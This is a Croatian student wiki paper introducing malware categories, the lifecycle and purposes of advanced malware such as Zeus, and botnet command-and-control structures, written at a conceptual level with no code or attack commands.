Botneti i napredni oblici malwarea - analiza zeus / spyeye sourcea

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Preuzeli temu: Branko Rendulić, Anita Laktašić, Igor Mirković

Sadržaj

Uvod

U današnje vrijeme sigurnost informacijskih sustava može biti narušena raznim oblicima malwarea koji postaju sve napredniji, a tako i manje primjetljivi. Možemo reći da maliciozni softver zauzima veoma važnu poziciju u svijetu tehnologije te da je iz tog razloga potrebna velika svjesnost o opasnosti do koje malware može dovesti i štete koju može prouzročiti. S uspjehom Interneta, odnosno njegovim masovnim korištenjem od strane ljudske populacije, stvorio se temelj za širenje infekcija malwareom, koje mogu utjecati na veliki broj sustava, pa čak i nekoliko milijuna, diljem svijeta. Tako je u današnje vrijeme poznata i mogućnost kontroliranja mreža inficiranih računala što nas vodi do botneta o kojima će biti riječ u radu. Međutim, prije svega, bitno je spomenuti da se sama motivacija za kreiranjem malwarea kroz zadnjih nekoliko godina drastično promijenila. Radi se o tome da je prije cilj stvaranja malwarea bilo uspostavljanje reputacije među zajednicom tehnološki vještih pojedinca, dok je u današnje vrijeme cilj provođenje raznih vrsta kriminala radi stjecanja financijskih koristi, a koje je potaknuto pojavom financijskih i sličnih servisa na Internetu. U ovom radu ćemo se na početku pozabaviti terminima kao što su malware i napredni malware, što će nam dati temelje za nastavak u kojemu ćemo govoriti o botnetima, što ćemo potkrijepiti i analizom dva moćna alata, tj. analizom Zesus-a i Spyeye-a.

Malware

Malware predstavlja veliku prijetnju za sigurnost pojedinca, ali i za nacionalnu sigurnost te je potrebna odgovarajuća strategija kako bi se što je više moguće smanjila njegova prijetnja. U zadnjih nekoliko godina došlo je do velikog vala u pogledu korištenja malwarea za napad na informacijske sustave radi prikupljanja informacija, krađe novca, krađe identiteta, onemogućavanja pristupa korisnika osnovnim uređajima, ometanja rada sustava itd., te je stoga potrebno veliku pozornost obratiti na vođenje brige o sigurnosti sustava. U nastavku definirat ćemo pojam malwarea, njegove karakteristike, način rada, te upoznati se s kategorijama malwarea kako bismo se što bolje pripremili za iduću cjelinu koja se odnosi na napredni malware.

Definicija malwarea

Već u samom uvodu o malwareu možemo otprilike zaključiti što malware jest, no u ovoj cjelini ćemo iznesti preciznu definiciju malwarea.

„Malware je opći izraz za dio softvera ubačenog u informacijski sustav radi uzrokovanja štete tom sustavu ili drugim sustavima, ili radi obaranja tih sustava za njihovo korištenje u druge svrhe nego li u one koje namjerava vlasnik.“ (prema OECD-u, 2008., str. 10)

Iz same definicije malwarea možemo vidjeti da malware predstavlja negativan i nepoželjan softver (tzv. maliciozni softver) u domeni računalnih softvera, a koji se temelji na radu sposobnih programera, te da upravo radi toga moramo biti veoma oprezni i poduzeti određene mjere kako bi nam sustav bio što sigurniji. Također, malware predstavlja izraz koji koriste računalni profesionalci za različite oblike neprijateljskog i ometajućeg softvera ili programskog koda. Sama svrha malwarea je ometanje ili uskraćivanje operacija korisniku sustava, oštećivanje informacijskog sustava, sakupljanje informacija radi narušavanja privatnosti ili radi iskorištavanja informacija u napadačeve svrhe, slanje snimljenih informacija trećoj strani bez znanja odnosno dozvole korisnika, ostvarenje neautoriziranog pristupa u resurse sustava, te narušavanje integriteta podataka. (prema Wikipediji)

Postoje različiti tipovi malwarea o kojima će više biti riječ u dijelu o kategorizaciji malwaerea, a svaki tip odgovara samoj funkcionalnosti i ponašanju malwarea.

Stručnjaci iz područja sigurnosti, često grupiraju malware u dvije osnovne kategorije: obitelj i varijanta, pri čemu se obitelj odnosi na posebne ili originalne dijelove malwarea, a varijanta na različite verzije originalnog malicioznog koda ili na obitelj sa manjim promjenama. (prema OECD-u, 2008., str. 10)

Korištenje malwarea i negativan utjecaj koji ima na naše društvo je u porastu, te je pitanje da li je to posljedica značajnog porasta u sofisticiranosti tehnologije malwarea. Naime, malwarei su prisutni u računalnom društvu već mnogo godina i postavlja nam se pitanje što se može naučiti iz prošlosti. Gledajući s jedne strane, jedni su naučili da je pisanje dobrog i kompletnog autonomnog malwarea vjerojatno veoma teško, a drugi da je obraćanje pozornosti na sigurnost sve važnije. Međutim, bez obzira na to koliko teško bilo pisanje dobrih malwarea, još uvijek izlaze „snažni“ malwarei koje moramo na vrijeme otkriti i na odgovarajući način ukloniti.

Karakteristike malwarea

U ovom dijelu navesti ćemo neke od osnovnih karakteristika malwarea na temelju njihove funkcionalnosti i ponašanja. Te karakteristike su: (prema OECD-u, 2008., str. 11)

Multifunkcionalnost i modularnost malwarea odnosi se na to da mnogo vrsta malwarea mogu biti skupa ili odvojeno korišteni radi postizanja napadačevih ciljeva. Tako primjerice malware koji je već u sustavu, može sa Interneta skinuti dodatni malware kako bi povećao svoju funkcionalnost.

Dostupnost kao karakteristika malwarea se odnosi na to da je malware dostupan na Internetu te da ga svatko može preuzeti, kupiti i dr.. Naime, postoji i podzemno tržište (engl. underground market) gdje je moguće prodavati i kupovati malware. Što se tiče primjerenosti korisnicima, misli se na to da malware omogućava napadačima sofisticirane napade van njihove razine vještina.

Karakteristika koja se odnosi na upornost malwarea podrazumijeva to da je malware na sustavu veoma teško detektirati i ukloniti iz sustava, a učinkovitost se odnosi na to da malware može pobijediti ugrađene mjere sigurnosti sustava.

Jedna od karakteristika malwarea je i mogućnost malwarea da djeluje na skup uređaja jer kako je malware dio softvera, može utjecati na skup uređaja poput računala, PDA-ova itd.

Karakteristika malwarea koja se odnosi na to da je malware je dio širokog sustava cyber napada podrazumijeva to da se malware koristi kao osnovna forma za cyber napad, ali i kao podrška drugim formama malicioznih aktivnosti (npr. za spam, phising).

I zadnja navedena karakteristika malwarea je profitabilnost, a pod time se misli da je malware u današnje vrijeme ozbiljan posao i izvor prihoda za napadače diljem svijeta što predstavlja ujedno računalni kriminal.

Način rada malwarea i ranjivosti koje koristi

Već smo prije ukratko spomenuli što sve može učiniti neki malware, a u ovom dijelu ćemo opisati na koji način to malware izvodi i koje su to ranjivosti koje omogućavaju širenje malwarea. Iz definicije malwarea mogli smo vidjeti da malware predstavlja dio softvera ubačenog u sustav radi pravljenja nekog oblika štete, a da bi uopće mogao ući u sustav potrebni su odgovarajući faktori poput neosiguranosti operacijskog sustava i povezane ranjivosti softvera. Naime, neki softveri na sustavu mogu sadržavati ranjivosti ili rupe koji su rezultat lošeg ili nepromišljenog kodiranja što daje dobru podlogu napadačima za napad na sustav nekim malwareom. Osim toga, ponekad neispravna ili nepotpuna konfiguracija softvera može omogućiti lakši napad. Primjerice kod kupnje softvera ili instalacije određenog softvera automatski neke postavke se postavljaju na „off“, pa ukoliko se radi o neiskusnom korisniku nesvjesno se izlaže napadu.

Želimo li preciznije definirati ranjivosti možemo ih svrstati u nekoliko tipova: (prema IATAC-u, 2009., str. 16)

Sve ranjivosti, u slučaju njihova otkrivanja od strane napadača, kao što je spomenuto, pružaju dobar temelj napadaču. Upravo otkrivanjem tih ranjivosti prije ostalih, napadač može razviti malware koji će iskoristiti te ranjivosti za maliciozne svrhe. Nakon razvijanja malwarea i inicijative napada od strane napadača, malware radi na način da se sam pokrene ili instalira na informacijski sustav manualno ili automatski. Nakon otkrivanja određenih ranjivosti od strane sigurnosne zajednice, ona razvija zakrpu (engl. patch, fix) što dalje onemogućuje napad od strane nekog napadača malwareom.

Način rada malwarea ovisi i o tome o kojemu se malwareu radi, pa tako neki poput virusa i trojanskih konja zahtijevaju interakciju s korisnikom da bi se pokrenuo proces infekcije, nakon čega malware može instalirati dodatne funkcionalnosti kao što su backdoor, rootkit, spyware itd..

Jedni od najčešćih vektora za širenje malwarea su e-mail (npr. spam i drugi pishing e-mailovi), web stranice, instantne poruke, prijenosni mediji poput kompaktnih diskova, usb-ova, IRC (Internet Relay Chat), Bluetooth i bežična lokalna područna mreža (engl. Wireless local area network) (prema IATAC-u, 2009., str. 17), a jedna od veoma zanimljivih tehnika koja pospješuje širenje malwarea je i socijalni inženjering. Pojam socijalni inženjering definira se kao čin manipuliranja osobom kako bi se postigli ciljevi koji mogu ili ne mogu biti u najboljem interesu „mete“. To može uključivati dobivanje informacija, pristupa ili navođenje „mete“ da poduzme određene akcije (prema The Official Social Engineering Portal). Primjerice, socijalnim inženjeringom se uvjerava korisnika da klikne na maliciozni link ili skine malware putem e-maila čega smo često i sami svjedoci.

Kategorizacija malwarea

Prvi malware koji se pojavio je bio kompjuterski virus, te se tako izraz virus počeo mijenjati s pojmom malware, iako je virus samo jedna od kategorija malwarea. Osim virusa postoje još druge kategorije malwarea poput crva, trojanskih konja, spywarea i drugih od kojih će neki i u nastavku biti prikazani i ukratko opisani.

Virusi

Virus je oblik malwarea koji se replicira odnosno umnožava vezanjem svojih programskih instrukcija na uobičajen program „hosta“ ili dokument, pa se instrukcije virusa izvršavaju kada se program hosta izvršava (prema IATAC-u, 2009., str. 7). Dakle, jednom kad je virus instaliran, izvršiti će se, zaraziti datoteke sustava, i pokušati proširiti na druge sustave. Sam utjecaj virusa varira široko od sporijih performansi sustava pa do brisanja datoteka na računalu. Neki od tipovi virusa unutar kategorije virusa su File virus, Boot Sector virus, Macro virus, Electronic mail virus, Multi-variant virus, Radio Frequency Identification (RFID) virus.

Mrežni crv

Mrežni crv je program koji se aktivno prenosi mrežom, obično Internetom, kako bi zarazio druga računala (prema Wikipediji). Za razliku od virusa, crvi ne moraju ovisiti o drugim programima ili akcijama korisnika za njegovo širenje ili izvršavanje. Crvi se šire na način da lociraju potencijalne ranjive hostove, te onda kopiraju svoje programske instrukcije na te hostove. Neki od crva su Email worm, Instant messaging worm, Internet Relay Chat worm, Web or Internet worm, File-sharing or peer-to-peer (P2P) worm i drugi.

Trojanski konj (Trojanac)

Trojanski konj dobio je ime po Trojanskom konju iz grčke mitologije radi njegova ponašanja. Naime, trojanski konj je destruktivni program koji se pojavljuje kao bezopasan, ali je zapravo jedan od najopasnijih tipova malwarea (prema Spam Laws). Primjerice, može se pojaviti kao prijateljski e-mail prilog ili se predstaviti kao korisna aplikacija na web stranicama, a instalira se na korisnikovo računalo nakon što korisnik otvori e-mail prilog ili skine aplikaciju s trojanskim konjem. Nakon što se instalira, softver može biti kontroliran od strane napadača za razne maliciozne svrhe. Neki od postojećih trojanaca su Backdoor Trojan (Denial of service (DoS) Trojan, FTP Trojan), Data-collecting Trojan (Spyware Trojan, Keylogger, Screenlogger, Password SpyWare Tojan, Notifier), Downloader ili Dropper (Security software disabler, Rogue security software, ArcBomb), Proxy Trojan, Rootkit, Bot (Botnet).

Spyware (ne Trojanac)

Spyware predstavlja softver koji sakuplja informacije i prenosi ih zainteresiranoj strani (prema Information Services & Technology). Iako nije trojanac, provodi iste akcije i ima iste ciljeve kao i Spyware Trojan. Osim toga, mnogo botova ima mogućnosti spywarea te se znaju nazivati spybotovima. Neki tipovi Spywarea su Adware i Tracking Cookie.

Miješani napadi

Miješani napad (engl. Blended attack) je instanca malwarea koja koristi višestruke infekcije i metode prijenosa (prema NIST-u, 2005., str. 19). Naime, miješani napad kombinira svojstva više tipova malwarea poput virusa, crva, trojanaca, botova i adwarea.

Ugrađeni maliciozni kod

Ugrađeni maliciozni kod (Engl. Embedded Malicious code) odnosi se na bilo koji tip maliciozne logike koja je uključena u valjani izvršni program od strane developera, integratora, distributera ili instalera, a najčešće je to logička bomba, vremenska bomba ili trojanac. (prema IATAC-u, 2009., str. 15)

Alati napadača

Alati napadača (engl. Attacker Tools) predstavljaju alate koji mogu biti dostavljeni u sustav kao dio malwarea, a koji dopuštaju napadačima neovlašteni pristup radi korištenja inficiranih sistema i njihovih podataka ili radi provođenja dodatnih napada. Ti alati mogu biti dostavljeni sami kao dio malwarea ili mogu biti dostavljeni nakon što se dogodi infekcija. Neki od popularnijih tipova alata napadača su backdoorovi, keystroke loggeri, rootkiti i botneti te možemo vidjeti da su ti alati svrstani i u prethodno spomenutoj kategoriji kao tipovi trojanaca, a to je iz razloga što oni mogu biti dostavljeni unutar trojanskog konja.

Zastupljenost.png

--Anita Laktašić 13:46, 28. prosinca 2011. (CET)

Napredni malware

Napredni malware postigao je veoma značajan status među profesionalcima koji se bave sigurnošću. Naime, u današnje vrijeme kompanije su sve više prisiljene usvojiti otvoreniji pristup praksi, a napadači koriste široko dostupne alate za razvoj i implementaciju malwarea koji su sposobni izbjeći detekciju, čak i od strane najboljih anti-malware alata. Neki od primjera naprednih malwarea su Aurora, Zeus Spyeye, TDL Gang, a kasnije u radu upravo ćemo i analizirati jedne od njih, tj. Zeus-a i Spyeye-a.

Definicija naprednog malwarea

Bez obzira koriste li napadači viruse, trojance, botove ili rootkite, današnji malwarei su dizajnirani za dugoročnu kontrolu nad ugroženim računalima. Prije su napadači kompromitirali sustave radi hvaljenja, a postajući sve svjesniji vrijednosti informacija do kojih mogu doći, prebacili su se na razvoj malwarea u profitne svrhe. Tako sada napadači s profitnim ili pak političkim motivima postaju glavni razlog pojave velikog broja malwarea. To predstavlja veliki problem za sigurnost pojedinaca, poslovnu sigurnost, ali i nacionalnu sigurnost.

Samim širenjem Weba i njegovih sadržaja, stvorio se dodatan temelj za širenje malwarea jer mogu biti ubačeni u razne sadržaje, a da korisnik to ne zna. Međutim, u današnje vrijeme se pojavljuju napredni malwarei koji su dinamičniji i neprimjetniji, i koji iskorištavaju nepoznate ranjivosti u velikom broju aplikacija i komunikacijskih protokola što veoma otežava njihovu detekciju.

Stručnjaci iz FyreEye-a (kompanije koja se bavi proizvodnjom rješenja za obranu protiv naprednih malwarea, zero-day i ciljanih APT napada) navode kako je napredni malware dio naprednih, upornih cyber prijetnji koje djeluju koordinirano radi prodora organizacijske obrane i uspostavljanja dugoročnog uporišta u mreži s ciljem izviđanja, eksploatacije mrežne imovine, izvlačenja podataka, izmjene podataka, uništenja podataka i stalnog nadzora (prema Digital Era Solutions). Iz same definicije možemo vidjeti da se radi o veoma opasnoj prijetnji za sigurnost i da se tome treba pridati velika pozornost.

Mogli bismo reći da početak infekcije naprednim malwareom čini početno iskorištavanje ili pak napad prethodno spomenutim socijalnim inženjeringom. Nakon što dođe do toga, pruža se temelj za niz nastavaka infekcije malwareom koje traju bez obzira na mnogostruke pokušaje skeniranja i onemogućavanja napada. Kako je malware postao sofisticiraniji, zbog čega je i dobio naziv napredni malware, tradicionalni klijentski antivirusni skenovi i mrežni skenovi upada nisu više u mogućnosti zaustaviti koordinirane skupove infekcija i napada. Naime, iako se neke infekcije detektiraju i uklone uz pomoć skenova što navodi klijenta na zaključak da je računalo sigurno, napadači mogu održati kontrolu nad sustavom. Tako primjerice, zero-day (računalna prijetnja koja iskorištava ranjivosti računalnih aplikacija koje nisu poznate drugima, kao ni developerima aplikacije), odnosno komponente malwarea koje nisu uklonjene, dopuštaju da se malware ponovno instalira te tako poremeti krajnju sigurnost sprječavajući svoje daljnje uklanjanje.

Ucinkovitost nm.png

Na prethodno prikazanoj slici prikazana je učinkovitost obrane od tradicionalnih i naprednih malwarea, pa možemo vidjeti da je obrana od naprednih malwarea neučinkovita, za razliku od tradicionalnih od kojih se možemo uspješno obraniti jer su poznati njihovi napadi i akcije.

Da bismo se što učinkovitije obranili od naprednih malwarea, prvi korak je utvrditi karakteristike prema kojima se mogu profilirati malwarei. Tako su neke od odabranih karakteristika nivo tajnosti, ciljana ranjivost, namjeravane žrtve te svrha ili cilj malwarea. (prema FireEye, 2011., str. 5)

Nivo tajnosti nekog malwarea može biti visok ili nizak, a postavlja se i pitanje da li se malware skriva ili sam sebe pokriva korištenjem tehnika kao što je polimorfizam ili skrivanje određenih poteza. Što se tiče ciljne ranjivosti, misli se na to da malware može ciljati poznate nezakrpane ranjivosti kao i nepoznate ranjivosti poznate kao „zero-day“ napadi. Namjeravane žrtve odnose se na ciljnu skupinu koju napada malware, pa tako malware može napasti na način da ne izdvaja posebno neku skupinu ili pak ciljajući određene žrtve koristeći e-mailove ili ugrožene web stranice. Svrha ili cilj malwarea može biti samo ometanje, a može sezati sve do namjere organiziranog kriminala ili cyber kriminala. Zadnja karakteristika je upornost i ona govori koji stupanj upornosti ima napredni malware. Na temelju tih karakteristika, načinjen je i grafički prikaz koji pokazuje razliku između naprednog i tradicionalnog malwarea na primjeru operacije Aurora (napadi nazavani Aurora, bili su namijenjeni za preuzimanje vrijednih datoteka od ugroženih strojeva).

Razlika nm i tm.png

Na prikazanom primjeru razlike karakteristika između naprednog i tradicionalnog malwarea, možemo vidjeti da napredni malware ima viši nivo tajnosti, napada nepoznate ranjivosti, definirane ciljne skupine te je uporan iz čega se vidi da zadovoljava sve kriterije naprednog malwarea. Međutim, od Aurore postoje još sofisticiraniji malwarei kao što je Zeus o kojemu će biti više riječ kasnije u radu.

Postojeći problem je to što napredni malwarei operiraju na najvišim razinama navedenih karakteristika, a tradicionalni na najnižim te tako i postojeća obrana operira na najnižim razinama. Tako primjerice, mehanizmi bazirani na potpisima reagiraju na poznate napade i gube u borbi protiv nepoznatih i tajnih napada. Osim toga, reputacija, heuristika i druge korelacijske tehnike ne mogu se nositi s ciljanim napadima jer zbog prirode tih napada ne postoje podaci za korelaciju (prema FireEye, 2011., str. 7-8). Iz tog razloga, napadi naprednim malwareima uspješno nastavljaju upade i druge akcije u komercijalne, obrazovne i druge mreže i možemo zaključiti kako postojeće obrane od naprednih i inovativnih malwarea više nisu dovoljne, te da moramo pronaći odgovarajuće obrambene mehanizme koji će adresirati karakteristike tradicionalnih i naprednih malwarea.

Životni ciklus naprednog malwarea

Najbolji prikaz načina ulaska u sustav i djelovanja naprednog malwarea, prikazuje nam životni ciklus naprednog malwarea koji je prikazan na slijedećoj slici, a predstavlja jedan od usvojenih pristupa infekcije.

Zivotni ciklus.gif

Prema prikazanoj slici životni ciklus malwarea sastoji se od 10 koraka: (prema Damballa)

  1. Žrtva surfa na web stranici ili klikne na e-mail sa malicioznim linkom.
  2. Preglednik se preusmjerava na malicioznu dropper stranicu.
  3. Žrtva je navedena na skidanje dropper-a ili je pak dropper automatski skinut kroz exploit.
  4. Dropper se raspakirava na računalo žrtve i izvršava se.
  5. Dropper kontaktira novu stranicu: UPDATE.
  6. UPDATE šalje C&C (Command and Control) instrukcije.
  7. Dropper kontaktira C&C stranicu (Site #1) sa žrtvinim podacima o identitetu.
  8. C&C Site #1 šalje šifrirani malware sa novim C&C instrukcijama. Može čak biti i zaključan na žrtvin stroj.
  9. Malware je dešifriran od strane Dropper-a i instaliran. Dropper može ostati kao lažan dokaz za istražitelje, ili se izbrisati kako bi istražitelj vjerovao da nije došlo do infekcije odnosno da nikad nije ni bio na računalu.
  10. Malware kontaktira C&C Site #2. Šalje lozinke, podatke, itd. kao šifrirani korisni teret (engl. payload).

Koraci 8, 9 i 10 se mogu ponoviti u neodređeno vrijeme, uz „dokaz“ zlonamjernih programa, tj. malwarea i uz konstantno mijenjajuće C&C konekcijske instrukcije. Malwareu može biti promijenjena svrha ili mu može biti rečeno da bude u tišini u duljem vremenskom periodu.

Dakle, iz ovog prikazanog životnog ciklusa malwarea možemo vidjeti kako djeluje neki napredni malware, tj. njihovu upornost i neprimjetnost, te nam to ujedno može dodatno pobuditi svijest oko opasnosti koja nas okružuje i navesti nas na poduzimanje što boljih akcija oko osiguranja bilo vlastitog sustava, organizacijskog ili državnog sustava.

Svrha naprednog malwarea

Malware može biti namijenjen za razne svrhe kao što su cyber kriminal, cyber špijunaža te cyber ratovanje.

Cyber kriminal

Pod cyber kriminalom podrazumijeva se da je glavni cilj odnosno svrha malwarea krađa imovine, važnih informacija (financijskih, poslovnih, osobnih itd.) i sl. koje se mogu dobro unovčiti. Tu nam se javlja i pojam botneta koji ćemo u nastavku i obrađivati, jer napadači znaju zarađivati na način da zaraze i povežu ogroman broj računala što ustvari predstavlja botnet.

Primjer je Zeus Trojan iliti tzv. Zbot koji krade internetske bankovne vjerodajnice tako da preuzima online bankovne sesije i prepisuje Web stranice na žrtvina računalo kako bi izgledale kao bankovna stranica. To prevari korisnike prilikom tipkanja njihovih bankovnih vjerodajnica koje potom Zeus pošalje na server napadača, a radi agregiranja i prodaje najboljem ponuđaču. (prema Digital Era Solutions)

Cyber špijunaža

Kod cyber špijunaže svrha odnosno glavni cilj uporabe naprednih malwarea je na tajan način dobiti podatke i informacije koji se smatraju tajnima ili povjerljivima. Naime, što je više informacija u današnje vrijeme informatizirano, to se i povećava broj korištenja cyber špijunaže. Jedan od primjera naprednog malwarea za cyber špijunažu je Operation Aurora kojom se radila korporativna špijunaža.

Cyber ratovanje

Kada govorimo o cyber ratovanju misli se na nešto što još nije došlo, ali postoji vjerojatnost da do toga može doći. Naime, cyber ratovanje će vjerojatno uključivati napredni malware u aktivnostima izviđanja, prikupljanju informacija, ometanju komunikacije te napadima na infrastrukturu neke zemlje. Razlog što još do toga nije došlo vjerojatno nije zbog nedostataka u tehnologiji već zato što još nitko nije „povukao okidač“ (prema FireEye, 2011., str. 19). Pitanje je vremena kada će doći do takvih napada te stoga zemlje moraju imati to umu i poduzeti određene akcije prije nego li dođe do katastrofalnih posljedica.

--Anita Laktašić 13:46, 28. prosinca 2011. (CET)

Botneti

Botneti su u današnje vrijeme postali veliki izazov i opasnost za informacijske sustave jer omogućuju izvršavanje mnogih kriminalnih radnji pogubnih za pojedince, organizacije ili pak vladu. Neki primjeri koristi od botneta su tako krađa identiteta i brojeva kartica, špijunaža, uskraćivanje usluga i druge kriminalne radnje koje imaju veliki značaj u današnjem modernom društvu. Prije nego krenemo dublje u temu o botnetima, pronašli smo jedan zanimljiv video o botnetima, kojime odmah na početku želimo upozoriti na opasnost botneta i potrebnu svjesnost o zaštiti sustava. U nastavku biti će rečeno nešto više o botnetima kao veoma utjecajnoj mreži putem koje se mogu izvršiti spomenute radnje.

Definicija botneta

Botnete smo već spomenuli u dijelu o malwareima, a u ovom dijelu ćemo dati detaljniju definiciju botneta te ukratko opisati sam botnet.

Botnet možemo definirati kao mrežu kompromitiranih računala kojima može biti upravljano s udaljenosti od strane napadača. Ta kompromitiranih računala znaju se zvati još i zombijima, a inficirana su uz pomoć botova koji predstavljaju napredni maliciozni softver odnosno bilo koji tip malwarea koji omogućava napadaču potajno preuzimanje kontrole nad inficiranim računalom. Osim toga, u nekim izvorima možemo naići na to da se pojam bot koristi kao opis hosta sa malicioznim softverom. U nastavku rada koristiti ćemo oba značenja pojma bot što će se lako prepoznati ovisno o kontekstu u kojem se spominje.

Dakle, sam temelj botneta su botovi koji se povezuju nazad na centralni server ili druga inficirana računala, nakon što su uspješno inficirali hosta, tako formirajući mrežu koja čini botnet. Botovi, osim toga, pružaju širok spektar funkcionalnosti odgovarajućem kontrolnom entitetu, tj. C&C (Command and Control) serveru koji je pod kontrolom jedne ili više osoba koje imaju engleski naziv botmasteri ili botheaderi, a koje šalju naredbe kroz server.

Uz pomoć različitih komunikacijskih metoda kao što je IRC, napadači mogu probuditi ogroman broj zombija odnosno kompromitiranih računala te ih usmjeriti na izvršenje različitih kriminalnih akcija o kojima će biti riječ kasnije.

Stvaranje i širenje botneta

Faza stvaranje botneta veoma ovisi o vještinama i zahtjevima napadača koji želi stvoriti botnet mrežu. Napadač tako može ili sam napraviti kod, ili proširiti i prilagoditi postojeći bot. Naime, spremni botovi sa svim instrukcijama korištenja i kompromitiranja sustava prodaju se i na Internetu. Nakon što napadač odabere odgovarajući pristup, može započeti sa svojim napadom.

Za širenje botneta, napadač iskorištava ranjivosti sustava i alata hostova kako bi dobio pristup sustavima i instalirao bot uploadanjem ili naređivanjem žrtvinom hostu da skine kopiju bota. Ta faza uključuje razne načine odnosno tehnike širenja botova koje uključuju napad kroz ranjivosti softvera, socijani inženjering i slične ranjivosti spomenute u dijelu koji se odnosi na ranjivosti (Način rada malwarea i ranjivosti koje koristi). Osim toga, bot, tj. maliciozni softver se zna i širiti kroz peer to peer mreže, file sharing te direktnu „client to client“ razmjenu, pri čemu koristi protokole kao što su FTP, TFTP, HTTP i druge kako bi inficirao računala i dalje se širio, a moguć slučaj širenja botneta je i širenje na način da postojeći bonet stvara drugi botnet.

Primjer kreiranja botneta i njegova širenja

Da bi se računalo uopće inficiralo botom te na temelju toga postalo dio botneta, potrebno je učitati bot na računalo. Prvi način učitavanja bota na računalo zahtijeva interakciju s korisnikom (npr. virus), dok drugi način ne zahtijeva nikakvu interakciju s korisnikom (npr. crv). U nastavku ćemo prikazati jednostavan primjer kreiranja botneta i njegova širenja. (ilustracije izrađene prema KoreLogic Security, str. 6-9)

U prvom koraku botmaster inficira računalo korisnika sa botom (npr. virus, crv).

Inficiranje.png

U drugom koraku bot na inficiranom računalu se povezuje na C&C (Command and Control ) server te čekaju naredbe botmastera. To može bit učinjeno koristeći IRC, HTTP i neke druge protokole.

Spajanje.png

U trećem koraku, nakon uspješnog uspostavljanja botnet mreže, botmaster šalje naredbe kroz C&C server inficiranom računalu čime se izvršavaju namjere botmastera.

Slanje naredbi.png

Sve se ponavlja te tako uskoro botmaster stvori vojsku botova koje može kontrolirati iz jedne točke.

Sirenje.png

Osim prikazanog scenarija kreiranja i širenja botneta, moguć je i scenarij u kojemu su prva dva koraka ista, no treći je drugačiji jer u trećem koraku botmaster može iznajmiti odnosno prodati svoje usluge trećoj strani za obavljanje kriminalnih radnji, te onda u četvrtom koraku naručitelj, odnosno treća strana dostavlja botmasteru sadržaj koji želi proširiti (npr. spam mail), nakon čega botmaster šalje naredbe inficiranim računalima preko C&C servera s namjerom da oni šalju taj sadržaj.

Command and Control infrastruktura

Nakon što je neko računalo zaraženo malwareom, botmaster ima za zadatak otkriti strojeve odnosno računala zaražena botovima odnosno malwareima. Kada ih otkrije, botmaster mora kontrolirati zaražene strojeve putem neke vrste komunikacije tako da im šalje naredbe koje želi da izvrše. To nas vodi dovodi do samog pojma Command and Control (C&C) infrastrukture koja se sastoji od botova, tj. inficiranih računala i kontrolnog entiteta pri čemu botmasteri koriste jedan ili više protokola za slanje naredbi inficiranim računalima kako bi mogli koordinirati njihovim radom. Preciznije rečeno, botovima se upravlja kroz takozvane Command and Control kanale koji se kreiraju na Command and Control serveru slanjem odgovarajućih naredbi radi organiziranja nekog napada. Odabir Command and Control strukture i protokola je jedna od najvažnijih odluka napadača koju treba odrediti prije izgradnje botneta. Taj odabir utječe na važne karakteristike botneta kao što su robusnost, latencija, stabilnost i vidljivost. Postoji više pristupa odnosno strukturi, dok općenito možemo razlikovati centralizirani i decentralizirani pristup koje ćemo u nastavku i opisati uz još jedan tzv. hibridni pristup.

Centralizirana C&C struktura

Centralizirana C&C struktura botneta je građena na temelju klasične klijent-server sheme. U takvim botnetima, botovi djeluju kao klijenti i oni se povezuju nazad na jedan ili više centralnih servera, tj. Command and Control servera od kojih dobivaju naredbe pri čemu većinom koriste komunikacijske protokole kao što su IRC i HTTP za interakciju sa serverom. Ti serveri su pod kontrolom botmastera. Kako se svi botovi spajaju na Command and Control server/e, botmasteri mogu simultano komunicirati sa svim botovima te davati naredbe svim botovima koji su online i spojeni na botnet putem servera koji prosljeđuje naredbe klijentima, tj. botovima (prema ENISA, 2011., str. 15). Ovakva struktura zbog direktnih veza pruža brzo vrijeme reakcije i dobru koordinaciju, jednostavan nadzor statusa botneta, te pruža informacije o broju aktivnih botova i slično.

Osim navedene strukture sa jednim serverom, moguća je i struktura koja ima više servera. Takva struktura ima najčešće hijerarhijski dizajn i može uključivati servere koji će grupirati botove u podgrupe.

Bez obzira na prednosti koje centralizirana struktura ima, ona posjeduje i neke mane. Naime, kako je centralizirana struktura neovisna o protokolu, lakše je otkriti centraliziranu komunikaciju nego li decentraliziranu. Osim toga, potrebno je samo deaktivirati C&C server da bi se u potpunosti poremetio odnosno onesposobio botnet jer botmaster onda više ne može slati naredbe botovima u mreži.

Centralized.png

Peer to Peer (P2P) C&C struktura

U Peer to Peer C&C strukturi botneta, svaki bot je peer i djeluje u isto vrijeme kao klijent i kao server što se označava engleskim pojmom servent, a to znači da ne postoji stvarni centralni server kao u prethodno opisanoj strukturi, te da se radi o decentraliziranoj strukturi. Naime, umjesto da se botovi spajaju na centralni server, bot se pridružuje mreži kontaktiranjem postojećeg peer-a u mreži, tj. botnetu, a da bi to učinio mora znati najmanje jednog peer-a u P2P mreži korištenoj kao botnet (prema Institut für Internet-Sicherheit, 2009., str. 10). Informacije o cijelom botnetu ne mogu biti direktno dobivene, a naredbe moraju biti ubačene u jedan od peer-ova botneta. To je obično realizirano direktno putem komunikacijskog protokola ili preko funkcionalnosti ažuriranja (prema ENISA, 2011., str. 17).

Za razliku od centralizirane C&C strukture botneta, Peer to Peer C&C strukturu botneta je mnogo teže otkriti i uništiti. To znači da ugrožavanje jednog ili više botova ne znači ujedno i gubljenje cijelog botneta. Međutim, veličina botneta podržana P2P strukturom je mala u odnosu na centraliziranu strukturu, radi čega ujedno profitno orijentirani napadači manje koriste tu strukturu, a osim toga, latencija i zajamčenost isporuke poruke nedostatak je P2P strukture, te je nadzor aktivnosti u botnetu veoma težak.

Decentralized.png

Hibridna C&C struktura

Hibridna C&C struktura je ustvari kombinacija centralizirane C&C strukture i P2P C&C strukture. Do te strukture je došlo iz razloga što su se željeli nadvladati nedostatci obe spomenute strukture.

Na prikazanoj slici možemo vidjeti mogući botnet hibridne C&C strukture. Tako na slici možemo vidjeti više P2P mreža, u kojima su botovi jedne podmreže povezani nasumično i tako čine jednu malu mrežu. Te mreže su preko svojih super peer-ova povezane na centralni C&C server kako bi mogle primati naredbe za provedbu napadačevih namjera. Što se tiče botmastera, ovisno o strukturi mreže, može biti obični peer ili pak može davati naredbe direktno centralnom serveru. Međutim, osim opisane hibridne strukture, moguć je i obrnut pristup u kojemu su podmreže centralizirano strukturirane, a zatim povezane sa drugima u obliku P2P mreže.

Hybrid.png

Usporedba C&C struktura

Na temelju najvažnijih karakteristika svih navedenih C&C struktura botneta napravljena je usporedba prikazana u tablici (prema Institut für Internet-Sicherheit, 2009., str. 11-12) u nastavku.

